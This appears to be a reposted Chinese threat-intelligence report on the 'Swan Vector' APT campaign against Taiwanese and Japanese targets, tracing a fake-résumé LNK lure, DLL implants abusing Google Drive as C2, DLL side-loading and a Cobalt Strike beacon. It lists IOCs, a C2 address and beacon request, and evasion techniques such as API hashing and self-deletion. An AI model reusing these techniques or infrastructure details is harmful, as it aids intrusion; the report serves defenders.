揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

admin 2025年5月23日15:59:10评论4 views字数 6878阅读22分55秒阅读模式

引言

最近实验室的APT团队最近发现了一项名为“天鹅向量”的攻击活动,该活动主要针对中国台湾和日本的教育机构和机械工程行业。攻击者利用虚假简历作为诱饵,通过复杂的多阶段恶意软件生态系统实施攻击。本文将详细介绍该攻击活动的技术细节,从恶意LNK文件到多种DLL植入物,再到最终的shellcode分析。

本次活动涉及的整个恶意软件生态系统总共包括四个阶段,第一个阶段是恶意 LNK,第二个阶段涉及通过非常知名的 LOLBin 执行 DLL 植入 Pterois 的快捷方式文件。它使用隐蔽的方法来执行和下载包含多个文件的第三阶段,包括合法的 Windows 可执行文件,该可执行文件进一步用于通过 DLL 旁加载执行另一个植入物 Ïsurus。这进一步执行了第四阶段,即 Pterois 下载的恶意 Cobalt Strike shellcode

初始发现

2025年4月,团队发现了一个名为“歐買尬⾦流問題資料_20250413 (6).rar”的恶意ZIP文件,该文件名可翻译为“2025年4月13日的‘哦买尬金流问题资料’”。该ZIP文件包含多个文件,其中包括一个LNK文件和一个扩展名为PNG的文件。其中,LNK文件名为“詳細記載提領延遲問題及相關交易紀錄.pdf.lnk”,翻译为“详细记录提款延迟问题及相关交易记录”,其实际作用是运行一个伪装成PNG文件的DLL负载,该负载通过RunDLL32.exe执行,进一步下载其他植入物和一个PDF文件作为诱饵。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

诱饵文件名为“rirekisho2025”,意为“2025年简历”,是一个典型的日式简历模板。该文件包含个人信息、教育背景和工作经历等字段,格式为日语,日期采用令和年号格式(令和5年4月)。该文件被存储在临时目录中,用于迷惑受害者,掩盖恶意软件的活动。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击
揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击
揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

感染链与技术分析

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

第一阶段:恶意LNK脚本

该LNK文件创建于2025年3月4日,其主要功能是调用RunDLL32.exe来执行名为Pterois的恶意DLL植入物。Pterois通过一个特殊的参数“1LwalLoUdSinfGqYUx8vBCJ3Kqq_LCxIg”启动,该参数在后续的攻击过程中起到关键作用。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

调用的执行dll导出函数名称为Trpo。

第二阶段:Pterois恶意植入物

Pterois是一个伪装成PNG文件的DLL植入物,其主要功能包括API哈希解析和下载下一阶段恶意软件。该植入物通过访问进程环境块(PEB)获取已加载模块列表,利用SDBM哈希算法解析API函数地址,并通过OAuth认证与Google Drive进行交互,下载恶意文件和配置文件。

Pterois还采用了一种伪反分析技术,通过创建计时器对象加载DLL,进一步隐藏其恶意行为。完成任务后,Pterois会通过延迟执行的方式删除自身,以减少被检测到的可能性。

最初,在检查恶意 RAR 存档以及恶意 LNK 文件时,我们发现了另一个扩展名为 .PNG 的文件,称为 Chen_YiChun.png 。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

在进行一些初步分析后,我们发现该文件基本上是一个 DLL 植入程序,我们将其称为 Pterois。现在,让我们检查一下这种植入物的技术细节。

DLL 文件的导出函数 Trpo:

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

从植入物的功能来看,它有两个主要功能,一是执行 API 哈希,后用于下载下一阶段的恶意软件。第一个函数负责解析 DLL 中的所有 API,如 NTDLL、UCRTBase、Kernel32 和其他所需的必要库,以及所需功能所需的 API。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

这是通过最初访问 Process Environment Block (PEB) 来检索已加载模块的列表来完成的。然后,代码使用 InMemoryOrderModuleList 遍历此列表,其中包含链接的 LDR_DATA_TABLE_ENTRY 结构 — 每个结构都表示一个加载的 DLL。在每个 LDR_DATA_TABLE_ENTRY 中,BaseDllName 字段 (UNICODE_STRING) 仅保存 DLL 的文件名 (例如,ntdll.dll) ,而 DllBase 字段包含其在内存中的基址。非常标准的寻址方式。

在遍历过程中,该函数将 BaseDllName 转换为 ANSI 字符串,通过转换为_大写_来对其进行规范化 ,并计算结果字符串的不区分大小写的 SDBM 哈希。此计算的哈希值将与提供给函数的目标哈希值进行比较。如果找到匹配项,则从 DllBase 字段获取相应的 DLL 基址并返回。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

现在,一旦返回 DLL 的基址,代码就会使用类似的不区分大小写的 SDBM 哈希算法来解析 NTDLL.DLL 中的 API 函数地址。它通过解析 DLL 的导出表,计算每个导出函数名称的 SDBM 哈希值,并将其与目标哈希值进行比较以查找匹配的函数地址来实现此目的。

下面是一个简单的 python 脚本,用于执行哈希:

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

同样,其他两个 dynamicalliy 链接库 ucrtbase.dll 和 Kernel32.dll 的 API 正在以同样的方式解析。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

在下一组函数中,它尝试从 Iphlapi.dll、shell32.dll 和 WinHTTP.dll 等 DLL 解析 API,它最初解析 DLL 的基址,就像前面的函数一样。返回后,它将使用一种简单但伪反分析的技术,该技术使用 Timer 对象加载上述 DLL。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

最初,它使用 RtlCreateTimerQueue 创建一个计时器对象,创建 Timer 对象后,使用另一个 API RtlCreateTimer 运行回调函数,在本例中为 LoadLibraryW API,进一步用于加载 DLL。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

然后,GetModuleHandleW 用于获取 IPHLAPI.DLL 的句柄。因此,一旦成功,RtlDeleteTimerQueue API 将用于删除和释放 Timer 对象。然后,最后通过哈希解析 API GetAdaptersInfo。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

同样,其他 DLL 也以相同的方式加载。接下来,我们将研究 implant 的后半部分,即负责下载 Next stager 的函数集。

该函数首先获取由 LOLBin 和参数组成的整个命令行参数,然后被截断为 1LwalLoUdSinfGqYUx8vBCJ3Kqq_LCxIg 基本上是一个硬编码的文件 ID。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击
揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

然后,它使用一种技术滥用 Google Drive 作为命令和控制服务器 ,首先使用合法的 OAuth 凭据建立身份验证。通过格式正确的 OAuth 交换获得有效的访问令牌后,它使用 Google Drive API 从特定的硬编码文件 ID 中检索文件,包括恶意可执行文件、DLL 和配置文件,并将其下载到 C:WindowsTemp 中的预定路径。

然后,它将适当的 Content-Type 标头设置为“application/x-www-form-urlencoded”,以确保 Google 的身份验证服务器正确处理请求。在此交换之后,它会执行精确的 JSON 解析功能,其中它使用 cJSON_GetObjectItem 从 Google 的响应中提取“access_token”字段。查看内存转储清楚地显示获取的以“ya29.a0AZYk”开头的 OAuth 令牌,确认身份验证过程成功。解析并提取此令牌后,它会被仔细存储,随后用于授权对 Google Drive 的 API 调用,从而允许植入程序下载其他有效负载,同时显示为来自 Google Drive 的合法流量。从内存中提取的解析后的 JSON 如下所示。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

现在,一旦文件被下载,这个植入程序的另一部分就会使用 CreateThread 来生成这些下载的诱饵和其他文件来执行。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

最后,下载这些文件,并在屏幕上生成诱饵,Pterois 植入物的任务就完成了。自删除...

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

第三阶段:Isurus恶意植入物

Pterois下载的文件中包含一个名为PrintDialog.dll的恶意DLL植入物(Isurus)。该植入物利用DLL侧载技术,通过与PrintDialog.exe同目录下的位置优势,运行其恶意功能。

Isurus通过PEB遍历和CRC32哈希算法解析API,从ra.ini文件中提取并执行加密的shellcode。该shellcode采用基于syscall的执行技术,直接在内存中运行,无需依赖高级Windows API函数。

之前的植入程序总共下载了四个样本。其中之一是合法的 Windows 签名二进制文件,称为 PrintDialog.exe。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

现在,另一个文件 PrintDialog.dll 编译时间戳为 2025-04-08 03:02:59 UTC 的另一个植入程序,负责运行 ra.ini 文件中存在的 shellcode 内容,滥用了一种非常著名的技术,称为 DLL 旁加载 ,通过将恶意 DLL 放置在当前目录中 PrintDialog.exe 因为它没有明确提及路径,并且我们称为 Isurus 的这个植入程序执行恶意任务。

查看导出表,我们可以看到恶意植入程序只导出两个函数,其中一个是普通的 DllEntryPoint,另一个是恶意的 DllGetActivationFactory 导出函数。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

查看导出函数内部,我们可以看到这个 Isurus 通过哈希执行 API 解析以及 shellcode 提取,并在内存中加载和执行 shellcode。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

植入程序最初通过执行 PEB 遍历技术来解析 API,遍历进程环境块 (PEB) 以查找所需 DLL(如 ntdll.dll 和 kernel32.dll)的基址。确定目标 DLL 的基址后,植入程序将继续手动解析 DLL 的 PE(可移植可执行文件) 标头,以查找导出目录表 。现在,为了解析特定的 API,植入物采用了一种哈希算法 – CRC32。 加载程序不是按名称查找导出,而是计算导出表中每个函数名称的哈希值,并将其与嵌入在代码中的预计算常量进行比较,以最终解析哈希值。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

比较常规的手法。

第四阶段:Cobalt Strike信标

最终阶段的shellcode是一个加密的Cobalt Strike信标。该信标配置了多个进程注入目标和C2服务器地址,通过HTTPS协议与攻击者控制的服务器进行通信。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

基础设施与狩猎

攻击者利用Google Drive作为C2框架,泄露了敏感的API密钥和相关账户信息。研究人员发现了攻击者Google Drive账户的详细信息,包括用户名、照片链接和电子邮件地址。此外,还发现了多个尚未在野外使用过的恶意文件,这些文件可能被用于未来的攻击活动。

Process Injection Targets:windirsyswow64bootcfg.exewindirsysnativebootcfg.exeInfrastructural information:hxxps://52.199.49.4:7284/jquery-3.3.1.min.jshxxps://52.199.49.4:7284/jquery-3.3.2.min.jsRequest Body :GET /jquery-3.3.1.min.js HTTP/1.1Host: 52.199.49.4:7284User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=dT98nN_EYDF96RONtS1uMjE0IZIWy9GljNoWh6rXhEndZDFhNo_Ha4AmFQKcUn9C4ZUUqLTAI6-6HUu3jA-WcnuttiUnceIu3FbAlBPitw52PirDxM_nP460iXUlVqW6Lvv__Wr3k09xnyWZN4besu1gVlk3JWS2hX_yt5EioqYConnection: Keep-AliveCache-Control: no-cacheHTTP Settings GET Hash:52407f3c97939e9c8735462df5f7457dHTTP Settings POST Hash:7c48240b065248a8e23eb02a44bc910a
{  “user”: {    “kind”: “drive#user”,    “displayName”: “Swsanavector56”,    “photoLink”: “https://lh3.googleusercontent.com/a/ACg8ocKiv7cWvdPxivqyPdYB70M1QTLrTsWUb-QHii8yNv60kYx8eA=s64”,    “me”: true,    “permissionId”: “09484302754176848006”,    “emailAddress”: “[[email protected]](https://malware.news/cdn-cgi/l/email-protection)”  }}

我们还观察到,此主机地址被用于 Cobalt-Strike 以 ASN 16509 托管,IP 位置在日本。

揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

归因分析

尽管归因始终是APT分析中的关键挑战,但研究人员发现“天鹅向量”攻击活动与Winnti APT组织和Lazarus组织的攻击手法存在相似之处,尤其是在DLL侧载技术的使用上。结合语言分析、植入物成熟度和其他收集到的证据,研究人员以中等置信度将此次攻击归因于东亚地区的威胁行为者。

结论

“天鹅向量”APT攻击活动自2024年12月开始活跃,主要针对台湾和日本的招聘相关实体。攻击者依赖于自定义开发的植入物,包括下载器、shellcode加载器和Cobalt Strike信标,并通过API哈希、直接系统调用、函数回调、DLL侧载和自删除等技术手段规避检测。

研究人员预测,攻击者可能会在未来攻击中继续使用DLL侧载技术,针对Python、WMI性能适配器服务和OneDrive启动器等应用程序执行恶意Cobalt Strike信标,并利用简历作为诱饵。

IOCs(入侵指标)

诱饵文件(PDF)

  • • 文件名:rirekisho2021_01.pdfSHA-256:8710683d2ec2d04449b821a85b6ccd6b5cb874414fd4684702f88972a9d4cfdd
  • • 文件名:rirekisho2025.pdfSHA-256:8710683d2ec2d04449b821a85b6ccd6b5cb874414fd4684702f88972a9d4cfdd

IP/域名

  • • IP:52.199.49.4:7284

恶意植入物

  • • 文件名:wbemcomn.dllSHA-256:c7b9ae61046eed01651a72afe7a31de088056f1c1430b368b1acda0b58299e28
  • • 文件名:LoggingPlatform.dllSHA-256:9df9bb3c13e4d20a83b0ac453e6a2908b77fc2bf841761b798b903efb2d0f4f7
  • • 文件名:PrintDialog.dllSHA-256:a9b33572237b100edf1d4c7b0a2071d68406e5931ab3957a962fcce4bfc2cc49
  • • 文件名:python310.dllSHA-256:e1b2d0396914f84d27ef780dd6fdd8bae653d721eea523f0ade8f45ac9a10faf
  • • 文件名:Chen_YiChun.pngSHA-256:de839d6c361c7527eeaa4979b301ac408352b5b7edeb354536bd50225f19cfa5
  • • 文件名:針對提領系統與客服流程的改進建議.pdf.lnkSHA-256:9c83faae850406df7dc991f335c049b0b6a64e12af4bf61d5fb7281ba889ca82

Shellcode及其他可疑文件

  • • 文件名:0g9pglZr74.iniSHA-256:9fb57a4c6576a98003de6bf441e4306f72c83f783630286758f5b468abaa105d
  • • 文件名:ra.iniSHA-256:0f303988e5905dffc3202ad371c3d1a49bd3ea5e22da697031751a80e21a13a7
  • • 文件名:python.xmlSHA-256:c8ed52278ec00a6fbc9697661db5ffbcbe19c5ab331b182f7fd0f9f7249b589

原文始发于微信公众号(TIPFactory情报工厂):揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月23日15:59:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   揭露天鹅向量(Swan Vector)APT组织:针对中国台湾和日本的多阶段DLL植入攻击https://cn-sec.com/archives/4083772.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息